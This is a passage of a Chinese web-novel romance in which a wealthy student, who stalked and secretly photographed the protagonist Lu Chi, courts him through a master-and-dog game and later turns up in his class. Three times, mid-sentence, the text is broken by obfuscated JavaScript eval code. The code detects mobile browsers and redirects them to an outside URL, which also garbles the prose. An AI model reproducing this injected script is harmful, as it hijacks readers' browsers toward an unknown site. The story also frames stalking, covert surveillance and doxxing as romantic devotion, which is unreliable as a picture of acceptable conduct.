路池忽然开口,毫不见外地指使他:“你来得正好,梁之羽当众打人闹事,我已经报警了,你现在控制好他,再叫救护车过来把顾言言抬走。记得别让经理删监控,知道吗?” 他皱着好看的眉,一样一样交待梁嘉树,仿佛面对低智商儿童的幼师,很有耐心。 梁嘉树神色一冷,视线宛如一把锋利尖锐的匕首,毫不留情死死刮过面前这两个废物,几秒后,又落回路池脸上,依旧冰冷。 他忍住怒意,示意路池仔细看自己身上的新衣服。 ——灰色衬衫、修长西裤,无聊至极的活佛穿搭。 和上次见面有什么区别? 路池双眼茫然,像头迷路的懵懂小鹿:“?” 见状,梁嘉树皱眉,一字一句说:“我换了新衬衫,银灰色。” 路池:“......哇塞,好特别哦。” “......” 梁嘉树放弃跟他绕关子,冷冷看了眼不敢动弹的梁之羽,伸手拉着路池走到会所门口,利落一指,示意对方去看正中间停靠的那辆豪华到极致的跑车。 “喜欢吗?”梁嘉树问。 ——他不是来收拾烂摊子的。 他是来追漂亮男人的。 路池一顿,忽然很迟钝、很缓慢地回过劲来,微妙地懂得了他的意思。半晌,心中竟浮现出一丝奇怪的心情,令他有点想笑。 路池也真的笑了,侧过头看他。 梁嘉树和他对视,片刻,很平静地说:“路池,你已经给了号码牌。” “我现在,有排到你面前吗?” 11.世界一 路池一顿,稀奇地看着梁嘉树,像在看一只英俊的卷毛狒狒开口讲人话。 但显然梁嘉树比狒狒执着,见他不回答,又拉着路池走到会所外的僻静角落,像尊带杀气的煞神,吓走任何一个无辜路过的人。 会所里躺着一个生死不知的顾言言,在他隔壁,还躺着一个瑟瑟发抖的梁之羽。 然而梁嘉树宛如瞎子,很理所当然地对所有血腥都视而不见。 他漆黑的眼睛只看着路池。 他只注视路池。 路池也看着他,片刻,笑问:“你的意思是,你想和我在一起?” 梁嘉树思索半晌,严谨回答:“准确来说,我想先当你的男朋友,与你恋爱。两年后满足法定年龄,再在生日当天和你求婚。我们可以去国外登记成为合法伴侣,然后花几年时间全世界度蜜月。你喜欢哪个国家,我们就在哪里定居,你想养什么宠物,我们就养什么宠物。” 顿了顿,他补充:“车子、房子、资产我都有,我可以负担你的任何消费,并让你过的很好。我可以让你有花不完的钱。” “期限是:直到死亡。” 路池:“......” 大概是第一次说这么长串的话,青年有些不习惯地皱了下眉。 但他说的很流畅,仿佛从第一次见面就想好台词,此刻不过是万千演练后的实操。 空气寂静。 路池沉默站在墙角,一言不发。 就在梁嘉树脸色越绷越紧、眸光也越来越沉时。 他终于忍不住抬手,握拳抵住唇,轻盈欢快地笑了起来。 男人的笑声仿佛拂过水面的春风,又像簌簌落下的桂花,瞬间将一切冰冷融化,柔软得令气氛骤然一松。 梁嘉树似乎也微不可查地松了口气,英俊年轻的眉眼看着路池,只觉得自己学的这两句话还算有用。 他安静等他笑完,才礼貌询问:“所以,你同意了?” 同意什么? 同意配合他精湛的表演? 路池没忘记那些无处不在的窥伺与偷拍。 一个初见就跟踪他、开盒他、恐吓他的人。 一个原著中性格古怪、漠然冷淡的神经病。 现在不知吃错什么药,要扮演爱情电影里的绅士。 路池靠在墙面上,又笑了好一会儿,才道:“梁嘉树,你是不是以为自己演技很好?” “看了几部爱情小说、学了几句电影台词,就跑来自顾自开始表演......没人告诉过你吗?” 他眉眼弯弯,很真诚地说:“你装正常人的样子,其实比梁之羽装深沉还好笑。” 至少梁之羽只是蠢。 梁嘉树却像耐心聪明的捕食者,发现恐吓猎物不管用,于是立刻改换策略,模仿正常人的模样,看似真诚地给出世俗意义上众人追求的一切——金钱、权力、物质...... 却丝毫不提需要付出的代价。 也根本没问过路池真正想要什么。 像只野兽,自顾自塞来一堆猎物,然后逼迫他许下长至一生的条件,期限是:直到死亡。 而真实意思是:在对你的兴趣消失之前,我要你的生和死,都捏在我手中。 真是个自以为正常的控制狂啊。 夜风吹过。 青年倏地顿住。 灯光下,路池漂亮的眼睛里还残存着甜蜜笑意,说出口的话却如狠狠一鞭子,猛地抽在梁嘉树脸上,扒掉他所有冠冕堂皇的伪装,露出冰冷真实的陷阱。 他简直敏锐聪明到可怕。 可梁嘉树忽然想起初见那晚,梁之羽被路池毫不留情地当众扇脸后,露出了一副恶心脸红的模样。 梁嘉树那时只觉令人作呕。 此刻却发现,自己更加恶心。 路池轻而易举识破他的话术,然后隔空一巴掌扇了回来。 他却感到一股无法忽视的兴奋。就好像......好像在浴室看着路池照片时那样兴奋。 不,比那时候更兴奋。 因为路池在真正注视他。 ——他终于将视线从那两个废物身上移开、终于又看见了他,不是吗? 他是了解他的,不是吗? 比任何人都要了解。 这个发现令梁嘉树瞳孔紧缩、呼吸加重,好似瞬间颅内高/潮,肾上腺素飙升,有种难以抑制的冲动快/感。 让他想现在就死死按住路池双手,逼迫他只看向自己、只念出自己的名字、只用那双湿润漂亮的眼睛靠近自己...... 路池见面前人忽然退后半步,罕见地应激般低头,胸膛快速起伏了几下,一言不发。 于是他想起梁嘉树真实的年龄:二十岁,生日才刚过两个月。 ......总不会是话说太重,让梁嘉树破防难过了吧? 路池看着他,半晌,决定不去想是不是伤害了小鬼的内心,干脆结束这场对话:“梁嘉树,我只是在钓你,不是要跟你在一起。” “所以,别再让我听见这些没用的废话。” 说完,他转身就要离开。 身后却忽然传来一道声音,沙哑而笃定:“你在乎。” “......” 路池脚步一顿。 梁嘉树抬头,漆黑的瞳孔冒着野兽一样的直觉,盯着路池的背影,声音沙哑:“你在乎那些话,所以抗拒。” “如果不在乎,你不会有任何反应。就像你面对梁之羽和顾言言那样——不管好或坏、谎言或挑衅,你都没有任何情绪。” 路池转身,很慢地看着他,半晌,笑了下:“是吗?” 梁嘉树:“是。” 路池依旧看着他,笑容不变:“还有呢?” 梁嘉树一顿,喉结忽然剧烈滚动了一下,心脏竟也跳得更快。 他仿佛身处课堂的学生,面对点名注视他的老师,冒出了一股强烈的、急促的、想证明自己的紧张与迫切。 证明什么? 证明他不是对他一无所知。 证明他并非全是谎言与陷阱。 ——我没有将你当成随便的猎物。 “你讨厌谎言,却习惯伪装自己。” “梁之羽不值得你花时间精力,所以你当众扇他,又给他一点微不足道的安抚——他从小被家暴,害怕暴力的同时,又下意识学会暴力,你只给了他一瓶镇痛的酒,就能让他像狗一样跟在身后跑。” 路池一顿,倒是没想到会得知这个原著里没提过的设定。 梁嘉树盯着他的表情,仿佛盯着一串需要时刻注意的实验数据,见他没有反应,又继续说: “顾言言父母死于工地意外,从小被奶奶抚养长大,又目睹舅舅欠债被砍。所以他爱钱如命,慕强厌弱,仇视一切比自己过得好的人。” “你漂亮又强大,温柔又年轻,刚好是他梦寐以求中自己的样子,所以你连暗示也不必给,他会自发模仿你、神化你,然后在某天,亲手将你推倒踩下。” 梁嘉树的神色在黑夜中显得冷峻,仿佛高高在上的旁观者,看清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809994|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人的欲望与弱点。 夜风再次吹过。 路池听得漫不经心,甚至歪了歪身体,轻轻靠在冰冷墙面上。 见梁嘉树停下,他笑着问:“说完了?” “......” 梁嘉树的瞳孔映射出男人游刃有余的模样。 路池似乎总是这样,像一只无法捕捉的电子蝴蝶,轻飘飘飞在空中,亮闪闪划过眼前。 他那么聪明,梁之羽和顾言言的小心思又怎么能瞒得过他?之所以不揭穿,只是因为不在乎而已。 而刚刚,他却毫不犹豫揭穿了他的话术。 梁嘉树立刻意识到:路池对这些话有反应。 又或者说,路池似乎对这种话术,有应激情绪。 为什么? 路池被谁骗过?有过什么心理创伤? 他是不是抓住了路池难得露出的弱点? 这个念头宛如一道兴奋的惊雷,令梁嘉树浑身仿佛过电般激荡。然而沉默片刻,他的第一反应竟是走到路池面前,伸手,缓缓握住了他的手腕。 像握着一尊易碎的玉像。 滚烫掌心紧贴皮肤,带来熟悉的水鬼感,甩不脱,赶不走。 路池没有挣扎,抬眸看他。 梁嘉树和他对视:“但我不一样。” “我和他们都不一样。” 路池嗯了声,说:“你指的是跟踪偷拍和人肉?” 那其他人确实不敢、也没能力这么猖狂地当法外狂徒。 梁嘉树抿唇,半晌,有些生硬地低声道:“我为之前的突兀道歉......昨晚我确实上网搜索了很多教程,但我没有骗你。” “路池,我真的可以做到我的承诺,给你一切你想要的。” 路池挑眉:“比如?” 梁嘉树:“比如,我可以当好男朋友这个角色。” “你嗜甜,尤其爱吃雪糕。怕热,出门一定要打遮阳伞。说话很礼貌,对年长的人更加宽容。” 青年低着头颅,声音放得很慢很轻,仿佛怕自己再用一些“如何套牢万人迷魅魔教程”,就彻底被路池拉黑。 他们距离太近,淡淡的草木香飘来,路池有点出神地想,梁嘉树居然还喷了香水。 视线再往下,还有一块AP腕表。 他从来不戴任何饰品,所以今天,他确实是来对他开屏的。 而现在,梁嘉树仿佛窥探了什么秘密,一副生怕路池伤心难过的神情,将“转移话题”四个字写在了脸上。 明明之前还想方设法引诱他掉入陷阱。 路池笑起来,只觉得这个人矛盾又直白,危险又好笑。 他抬眸,忽然反手用力一拽,毫无预兆地将梁嘉树拽过来—— 他对他毫无防备,于是立刻失去平衡,下意识抬手撑住墙壁,猛地将路池困在了墙角。 淡淡的香气弥漫。 这个姿势乍一看去,就像梁嘉树将路池完全抱进了怀里。青年一滞,身体因为从未有过的接触有些僵硬,喉结猛地滑动了一下:“……路池。” 与此同时,路池冰冷的手指也搭在梁嘉树后颈,很轻地捏了下。 仿佛在捏一只疯狂求领养的狗。 那他就如他所愿。 极近的距离中,路池抬眸,漂亮的眼睛弯如弦月,笑着凑近了梁嘉树耳边。 他说:“梁嘉树,我要的不是男朋友。” “我要一条百依百顺、无论怎么打骂都不肯滚的狗。” “告诉我,你能做到吗?” 12.世界一 梁嘉树下意识问:“只当狗就可以?” 路池:“?” 不然呢? 主角攻你还想当什么? 梁嘉树盯着路池形状姣好的唇瓣,片刻,忽然迅速低头,面无表情道:“等我一分钟。” 路池:“?” 路池眨了眨眼,就见梁嘉树一边维持单手墙咚自己的姿势,一边掏出手机低头飞快开屏。 青年修长带茧的指尖不停敲打,路池盯着他快闪出残影的手,忍不住问:“你要干嘛?” 他漂亮的眼里闪着大大的疑惑。 梁嘉树没回答,很快将手机递过来,轻声示意:“签字。” 路池低头一看,看见一份新鲜出炉的电子合同: 《训狗协议投资明细》——甲方:梁嘉树、乙方:路池......经双方同意,协议期间,甲方每月应投资乙方至少1000万人民币,并自愿负担乙方所有经济支出,包括但不限于:股票基金、买房买车、买训狗道具...... 路池:“......” 他忍不住请教:“你说的这个训狗道具,是正经的训狗道具吗?” 不怪他多想,实在是主角攻太变态。 梁嘉树看着路池,面无表情道:“看你心情。” 他一米八七,有健身习惯,年纪小身体好,不管怎么打骂都能迅速恢复。 更何况,如果是路池。 他不会感到疼痛。 只会感到兴奋。 如果是路池多情湿润的眼神落在自己身上、冷白柔软的指尖触碰自己皮肤、吞吐漫出的气息涌入自己胸腔...... 梁嘉树忽然呼吸加重,一双漆黑瞳孔紧紧盯住路池的唇,视线宛如实质般,剧烈地上下摩/擦了两下,仿佛想就这样隔空将这双唇磨得红肿、张开、湿润...... 路池一顿,忽然抬手,一巴掌轻扇在梁嘉树的右脸上:“你疯了?这是大街上。” 他闭了闭眼,简直不想看梁嘉树发/情一样兴奋起来的反应。 公共场合,路池很要脸地想推开主角攻走人。 但梁嘉树立刻抬手虚抱住他,一脸没被扇够的样子,靠得更近。青年炽热的呼吸夹杂着草木香,倏然侵入空气,不容拒绝。 他声音略哑道:“路池,好主人不会随便丢下狗离开。” “......” 路池深深吐出口气。 他被这人的厚脸皮程度气笑了,呼吸几下,忽然转头看了眼四周。 夜色笼罩,偏僻的角落寂静无人,头顶电线避开监控。 是个好地方。 路池又吐出口气,抬手,一把拽住梁嘉树细密的发根,单手将人粗暴扯到面前,盯着对方英俊漆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812714|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑的眉眼。 他声音很轻地警告:“好主人只会牵好狗。” “梁少爷,你是好狗吗?” 男人的气息仿佛馥郁香浓的玫瑰花瓣,簌簌落在耳后、融进血液,令呼吸连同身体都发热沸腾。 梁嘉树吐息更重,几乎到了滚烫的程度。结实有力的小臂牢牢卡在路池肩头,声音嘶哑:“我是。” “路池,只要你想,我一直都是。” 他们身高相近,过于亲密的距离带来彼此气息。宛如靠近交换气味的动物,有种令人心脏发麻的陌生眩晕。 路池看着梁嘉树。 面前这个人年轻聪明,英俊多金。尽管性格古怪、控制欲强、冷淡漠然,可依旧是小说中设定最完美的一个。 而此刻,这个最完美的角色低下头颅,紧紧盯着路池,要证明自己是一条足够他牵住的好狗。 路池看着梁嘉树认真漆黑的眼睛,半晌,忽然很轻地笑了下。 夜色中,他浅褐色的漂亮瞳孔弯起,笑容像都市怪谈里蛊惑人心的妖鬼,甜蜜而危险,柔软而美丽。 他签好那份荒谬的投资协议,抬手,轻轻将手机贴在了梁嘉树的脸上。 冰冷屏幕贴住滚烫皮肤。 路池眨了眨眼,声音甜得像含住了一颗糖:“那你证明一下。” “梁嘉树,好狗应该怎么叫?” 13.世界一 梁嘉树对上路池的眼睛。 一瞬间,他的胸口猛地传来阵阵细密滚烫的震颤。 路池一直是漫不经心的。 他很漂亮,漂亮到锋利,却不在乎皮囊。私家侦探跟踪过他许多天,拍下的照片此刻还成堆地叠放在梁嘉树的实验室,梁嘉树无数次抚摸底片,透过镜头去看路池的真正模样。 他看见他在清晨的阳光中爬起床,顶着一头微卷的粉色头发下楼吃饭,洗漱完的水珠没擦干,他毫不在意地嚼虾饺,鼓起的脸颊像颗新鲜可口的水蜜桃。 他看见他偶尔靠在小阳台上发呆,抬头看着星空不说话,熬到清晨再回到房间入睡。那盏夜灯永远打开,暖黄色灯光笼罩洒落,他呆在那片温暖里,闭眼卷着被子安稳入睡。 他出门染发,选最便宜的染发膏,理发师却偷偷给他涂上最贵那档,事后还免费给他做好护理,但路池对此毫无察觉,理所当然地闭眼享受一切。 他在FOM跳脱衣舞,被无数人追捧,却从没有过任何动摇,甚至连弯一弯腰都欠奉。谁惹到他,他直接扒光他们的衣服踹进垃圾堆,一脚踩在那些废物的脸上,狠狠用鞋底碾过。 但他也会在年长的女性面前脸红、会路痴到盯着地图迷茫发晕、会捧着茶杯不好意思地笑。骄傲时眉梢挑起,和A大那只小坏猫一模一样。 他无疑是漂亮的、锋利的、强大的、柔软的。 只有曾经被众星捧月、被万千鲜花与掌声簇拥过,才能拥有这样无需伪装的强大,无需强撑的自信。 而能被这样花团锦簇的爱意围绕,一定因为他是一个值得喜欢的、无比优秀的人——顾言言无数次想模仿他的言行,却不明白,他的强大来源于他内心的富足,精神的清醒。 皮囊和言语,都只是路池灵魂的点缀。 所以偶尔,梁嘉树会闪过一个惊世骇俗的隐约想法:现在的路池,是否拥有一个与曾经截然不同的灵魂? 他不为任何人停留,目光永远漫不经心,含着一点懒洋洋的笑意,忽闪忽闪似蝴蝶。 而当这样一双眼睛看过来。 当他用含了糖一样的声音挠过梁嘉树心脏,用浅褐色的瞳孔朝梁嘉树露出那样期待又微妙、饶有兴趣的目光。 就好像在对他说:梁嘉树,我对你有点兴趣哦。 ——这只蝴蝶飞啊飞,终于对下方死气沉沉的坟头有了一丝兴趣。 梁嘉树瞬间就感到难以抑制的、猛烈袭来的悸动和口干舌燥。 仿佛刚步入青春期的毛头小子,恨不能抱着吉他挡在心上人面前为他唱一万次情歌与告白。又像条渴望主人安抚关注的狗,恨不能摇着尾巴疯狂求他再施舍一点眼神。 ——路池看他的目光,让梁嘉树想跪下来亲吻他的指尖、舔舐他的全身。 梁嘉树从来不是个感情浓烈的人。 梁氏集团权力架构复杂,他的母亲梁明珠早年并不受器重,招赘后迟迟没有怀孕。迫于夺权所需,才想方设法怀上试管婴儿,高龄生下他后便迅速脱离母亲角色,用最快速度回到高管位置,再一步步艰难走到今天,成为梁氏集团毋庸置疑的主人。 于是理所当然的,梁嘉树从生下来就与保姆为伴。他并不渴望陪伴,反而对冷冰冰的数据和危险的化学试剂情有独钟。 他完美遗传了母亲的聪颖、果决、强势。 却又多了冷漠、偏执、控制欲、神经质。 梁嘉树很清楚外界怎么评价他,无非就是那些词:古怪,无聊,天才,古板......他确实讨厌跳脱的东西,因为做实验是一项不容许任何错误的严谨科学研究,有丝毫超出掌控的变化,就会毁掉所有准备。 也会冒犯他深入骨髓的控制欲。 但路池的出现,宛如那些危险的化学试剂。 他如此鲜活,如此特别,一举一动都难以预料、不受控制。 简直就像灰蒙蒙天空中,呼啦亮闪闪飘来的一只发光水母——你不知道他为什么发光、更不知道为什么空中会有一只莫名其妙的水母,但你就是会不由自主去看,去跟随。 他令梁嘉树想起童年见到的第一场实验。 倒入两滴,就立刻发生危险猛烈的爆/炸反应。自此,目眩神迷的科学世界拉开神秘幕布,向他发出无声邀请。 而此刻,路池也眨着眼看他,同样笑吟吟地问:“梁嘉树,好狗应该怎么叫?” 他的声音分明很轻。 梁嘉树却再次感到那阵熟悉的,更加猛烈的,爆/炸般的目眩神迷。 ——他想让他一直这样笑,一直看向自己。 所以,狗怎么叫。 梁嘉树就怎么叫。 只要路池想听。 身形高大的青年低头,片刻,仿佛街边随处可见的、摇着尾巴讨好路人的流浪狗。 他面无表情地学习:“汪。” 路池一顿,抬眸,对上那双漆黑冷静的眼睛。 梁嘉树很冷静。 他在清醒理智地当着他的面学狗叫。 学的还是脾气很好的那种狗。 其实很惟妙惟肖……可一配上那张冷淡漠然的脸,就特别像伪装成好狗的特级坏狗。 路池吃惊之余,有点忍不住想笑场。 梁嘉树盯着他,半晌,平静地问:“抱歉,不像吗?” “我可以再学。” 路池没回答,忽然抬手,就像对待一个真正二十岁的男孩、一个比他小许多的年下那样,轻轻拍了下他的头。 柔软冰凉的指尖一触即分。 路池问:“梁嘉树,你会不会觉得我在羞辱你?” 梁嘉树正盯着他冷白柔软的指尖,闻言立刻纠正,淡声道:“路池,你在奖励我。” 证据是他越来越发烫的呼吸,和越来越兴奋的裤子。 每当路池的眼睛看向他,梁嘉树就难以自制地反应剧烈。 路池:“......” 路池的目光往下,停顿。 ......梁嘉树又怒然大勃了。 他的兴奋点到底在哪? 伪装好狗? 路池忽然捂住脸,几秒后,毫无征兆地笑了出来。 这一次,他没有笑着翻脸,而是随意将头靠在梁嘉树的小臂上,一边笑,一边欢快愉悦地说:“欸,梁嘉树,我发现你真的蛮奇怪的。” ——他从没见过这样的主角。 就连以前演过那么多角色,都没遇到过这么......闷骚又直白的人设。 路池忍不住又笑。 梁嘉树感受到他后脑的重量,轻飘飘像羽毛,温热的皮肤透过一层薄衬衫贴过来,触电般弥漫至整个小臂,令他忍不住喉结滚动,连路池在说什么都没听清。 恍神几秒,他才看见路池弯起的眼睛。 梁嘉树:“......你很满意?” 原来路池喜欢这种扮演玩法? 路池浑然不知他的肮脏想法,勾唇点头:“嗯嘟。” 能看见主角攻难得拙劣的演技,他当然开心。 梁嘉树若有所思,立刻在脑海中思索要买一些什么道具让他更满意。视线无意识一寸寸下移,忽然凝固。 梁嘉树的目光滞留在路池的锁骨下方——那里有一道青紫伤痕。 宛如漂亮的白瓷出现一丝裂缝,极为碍眼。 侦探偷拍时通常角度偏僻,所以从来没有拍到过这些伤痕。梁嘉树表情瞬间森冷,想到什么,猛地眯了下漆黑的眸。 ……是那群放高利贷的人。 没想到他们下手这么狠,路池身上到现在还留着伤? 而路池……看起来这么游刃有余,却连自己的伤口也不当回事,不作处理。 梁嘉树脸色阴沉,再也没心思想别的,掌心轻轻圈住他手腕,往跑车方向走:“跟我来。” 路池不明所以地拉住他:“你带我去哪?警察还没来,梁之羽和顾言言还在会所呢。” ——大哥,FOM还躺着两个血流成河的人呢。有人在意吗? 梁嘉树听到这两个名字,很不耐烦地呼吸了下,仿佛听到两头会讲人话的蠢猪。 他将路池带到跑车前,拉开车门,护着他头顶让他进去:“我去处理,等我五分钟。” 说完,梁嘉树站在车门前,漆黑双眸看着路池,没有动。 路池顿了顿,忽然福至心灵:“……好,你去吧。” 梁嘉树这才点头,仿佛得到主人允许的恶犬,关上车门,转身迅速朝FOM里走去。 ……还挺有好狗样的。 路池盯着他溢满不耐和冷漠的背影,没什么诚意地为主角受和攻二祈祷了半秒。 不到三分钟。 FOM那里忽然传来一声巨响,随即是噼里啪啦的玻璃碎裂声。 又过了半分钟。 梁嘉树面无表情地出来,身后跟着冷汗狂冒的赵经理。 路池看见他站着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815812|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和对方说了几句话,英俊的脸上满是冷淡,双眸居高临下地垂着,和方才兴奋的模样判若两人。 ……又变成坏狗了。 路池眨了眨眼。 很快,赵经理离开,梁嘉树回到车内,沉默着踩下油门。 路池也不问车子要开向何方、刚才会所发生了什么,依旧侧着头,饶有兴趣地盯着他看。 感受到这股轻飘飘的视线,梁嘉树呼吸渐热,握着方向盘的手不自觉用力,喉结也滚动了一下。 在路池眼中,就好像状态在迅速切换:好狗……坏狗!好狗……坏狗!好……坏! 他忍不住笑,乐得要命:“梁嘉树,你怎么这么闷骚啊?” 内心戏加起来能演八百回狗血小说了。 梁嘉树没说话,余光看见他被吹得凌乱的碎发,默不作声关上车窗,一路开回了静谧的水云苑。 不知过了多久。 跑车缓缓停靠在私人车库。 梁嘉树刚要开口,一转头,却忽然顿住。 ——隔着不到半米,副驾上的男人睫羽细密、眼皮轻闭,不知何时已经睡着了。 灯光落在他脸上,明灭不定,变幻着浮光掠影。 梁嘉树很安静地看了几秒,掏出手机,开始对着路池罕见的睡颜偷拍。 大概是今天太累,梁嘉树用不同角度偷拍了路池二十分钟,对方依旧没醒。 他犹豫半秒,没有叫醒他,而是绕半圈打开副驾门,双手穿过路池腿下的空隙,轻轻抱住了他的膝弯。 梁嘉树刚要公主抱起路池。 睡着的男人忽然睁眼,水雾弥漫的瞳孔盯着他,片刻,用刚睡醒的沙哑声音问: “梁嘉树,你的车里为什么装着夜灯?” ——劳斯莱斯奢华的车内,拆掉了所有刺眼的车灯,只装满暖黄色调的小夜灯。 害他刚上车没多久就困了。 梁嘉树垂眸,声音很平淡,仿佛在说一件微不足道的小事:“因为你怕黑,最喜欢夜灯的颜色。” 所以那些照片里,他出租屋的夜灯从来不关。 路池一顿,笑了下:“你真是……好歹藏一下监视我的事实啊。” 梁嘉树轻松抱起他,面不改色走进电梯,按下楼层:“好狗不会说谎。” 路池被他抱在怀中,闻言笑得不行:“来劲儿了是吧?” “那你带我来你家干嘛?好狗可不会随便带人回家过夜。” 梁嘉树依旧面不改色:“你锁骨有伤,我带你回来上药。如果你不喜欢,上完药我会送你回去。” 路池愣了下,似乎没想到他会发现自己的伤。 就连系统也没想到。 片刻,路池靠在梁嘉树平直的肩上,眨眼逗狗:“哇,你好细心哦。” 梁嘉树:“……” 青年的肌肉瞬间僵硬。 路池又眨了下眼,忍笑道:“而且你的肩膀好宽好硬啊,很结实的样子,好有安全感。” 话音落下。 梁嘉树下意识鼓起背颈肌肉,冷淡自持:“我每天都锻炼至少两小时,体脂率常年维持在10%左右,足够保护你。” 语罢,他垂眸,直直看着路池的眼睛,显然是让他再多夸几句。 “……” 空气寂静。 说来奇怪。 梁之羽说这种话时,路池只想打电话送他去精神病院挂号。轮到梁嘉树开口,路池却觉得,他有种很好笑的真挚。 滴滴一声,电梯门开。 路池一边忍不住笑倒,一边伸手,一把抓住梁嘉树握着自己肩头的大手。 修长的指节肤色惨白,指腹处有很明显的硬茧,厚厚一层。 电梯灯光熄灭。 在它亮起的前一秒。 路池眨眼,猝不及防低头,轻盈飞快地吻在了梁嘉树指尖。 柔软濡湿的触感落下。 一触即分。 “好狗的奖励。”他看着梁嘉树猛缩的瞳孔,倏然跳下他的怀抱,笑得狡黠又无辜。 …… 第二天一早。 上完药的路池钓完就跑,回到出租屋后就开始专心整理教案,整整一周都没联系梁嘉树。 一周后,A大正式开学。 路池跟在教授身后,漫不经心走进人满为患的阶梯教室,垂眸看向台下学生。 下一秒。 他对上了一双熟悉漆黑的瞳仁。 14.世界一 已经九月初,A市气温依旧居高不下。 A大的学生今天也有些躁动。 原因无它。 刚开学的校园熙熙攘攘,许多新生来报道前都加了一些新生群,不停问东问西,其中艺术院发言最为活跃。 而艺术院新生们问的最多的问题,只围绕着一个人—— 【A大官网的肖像照允许P图吗?】 【这个叫路池的新助教真长这样?】 【图片.JPG】 电子屏幕上,黑发男人含笑看着镜头,五官漂亮锋利,上翘的眼尾宛如名家最纵情勾勒的一笔,透过屏幕挠进心头,好看得有点夸张。 这张图明显是截的,像素有些模糊,底下还写着“路池”两个字,应该是姓名介绍。 十个新生群,十个都在疯狂发这张照片,点开群消息仿佛在玩消消乐。老生们犹豫,新生们怀疑,都在质疑真实性。 【你们信这照片是真的还是信我是玉皇大帝?】 【谢邀,在A大三年没见过这张极品脸哈。】 【找人查了下,居然没查到任何信息……看来是有硬后台的关系户】 【猜猜我用什么点开这张照片的。】 【???】 路池的名字瞬间成为A大开学最有热度的话题。 偏偏艺术院课程安排很松散,路池又不住学校的教职工宿舍,这一周不是写教案就是睡大觉,从来没露面去过A大一次。 于是关于高P老师的谣言愈发离谱。 这门课原本不是必修,但因为这波热度,不到三天就报满了所有名额,有人立志要拍下路池的丑照,放在学校论坛公开处刑,以此表达自己对新助教虚荣心的不满—— 爹的,P那么好看干嘛?害他们心痒痒的! 路池对此浑然不知。 在他来之前,偌大的阶梯教室已经座无虚席。只有前排最中间的位置上,独自坐着一个背影高挑的青年。 三十多度的大热天,即便有空调,教室也热得够呛。 但这人很有逼王气息地穿了一身黑,衬衫西裤的褶皱平直锋利,后颈一丝汗也没有,脸色难看得像死人。旁边两个座位空着,周围学生似乎知道这人身份,都刻意避开了他,态度很是恭敬。 后排有新生奇怪:“那人谁啊?拽得跟封建大爹一样,怎么比我还能装?” 被问到的人一看,瞬间了然,流畅报出一长串title:“他?他就是梁氏集团独生子、二十岁的生化研三天才、专利多到爆的独立研发人、A大所有天龙人之首——梁家大少爷,梁嘉树。” “......” 教室坐得下这么多人吗? “生化院的研三学长不去实验室,跑这里来干嘛?”新生古怪地看了眼那人背影,悄声嘀咕:“总不可能也是来看新助教的吧......” 应该不是。 这么天龙人的大少爷,怎么可能特地跑过来看一个高P助教?大概只是路过。 窗外阳光炽热,教室声音越发嘈杂,很是热闹。 下一秒。 教室门忽然打开。 毫无预兆的。 高挑清癯的黑发男人跟在教授身后,漫不经心走进教室,抬眸看向他们,脸上挂着一个很浅的笑。 原本嘈杂热闹的教室倏地一静。 头发花白的教授不明所以,但还是满意点头,笑呵呵开始介绍自己。 路池站在台上,无视台下那道强烈到心悸的沉沉视线,等教授介绍完毕,也轻笑开口:“大家好,我是你们这学期的艺术选修课助教,路池。” “......” 依旧很静。 偌大的教室静得像在半夜偷偷给狐狸精上香。 几秒后,才传来几声咽下的咕咚声,和手忙脚乱的快门咔嚓声。 路池恍若未闻,弯了弯眸,浅褐色瞳仁在阳光下澄明透彻,仿佛美学的具象化,比单薄死板的照片生动百倍。 后排新生呆愣地看着他点开PPT,开始配合教授讲解工作。男人神色专注,白色衬衫挽至小臂,长腿被西裤妥帖包裹,整个人又高又靓,连声音都清越好听。 不知怎么。 他的脑子里此刻只有一句话—— 这个新来的助教老师,简直性感得要命。 - 性感尤物路池很快上完今天的课程。 艺术院位于A大中后方,绕着学校最大的人工湖建了五座高低错落的大楼,每座大楼都有全景落地窗。透绿的棕榈树和细叶榕生机勃勃,红紫相间的三角梅点缀其间,景色实在漂亮。 路池被阳光笼罩,更加漂亮。 教授一离开,台下学生瞬间如蜂群般汹涌围上来,站在离他两步远的位置,七嘴八舌地礼貌询问。 “路老师,你好靓,你是单身吗?” “路老师,你好年轻,你是单身吗?” “路老师,你声音真好听,你是单身吗?” 路池习以为常地笑了下,没有回答,只道:“下课时间,大家让一让。” 他的声音不大,神色也并不严厉。但当那双浅褐色的瞳孔扫过,众人都下意识膝盖一软,赶紧手忙脚乱地让开一条道路,乖乖看向路池。 就像一群渴望得到主人夸奖的毛茸茸动物。 而这群毛茸茸里,少了一双漆黑阴沉的眼睛。 不知何时,梁嘉树已经无声离开了。 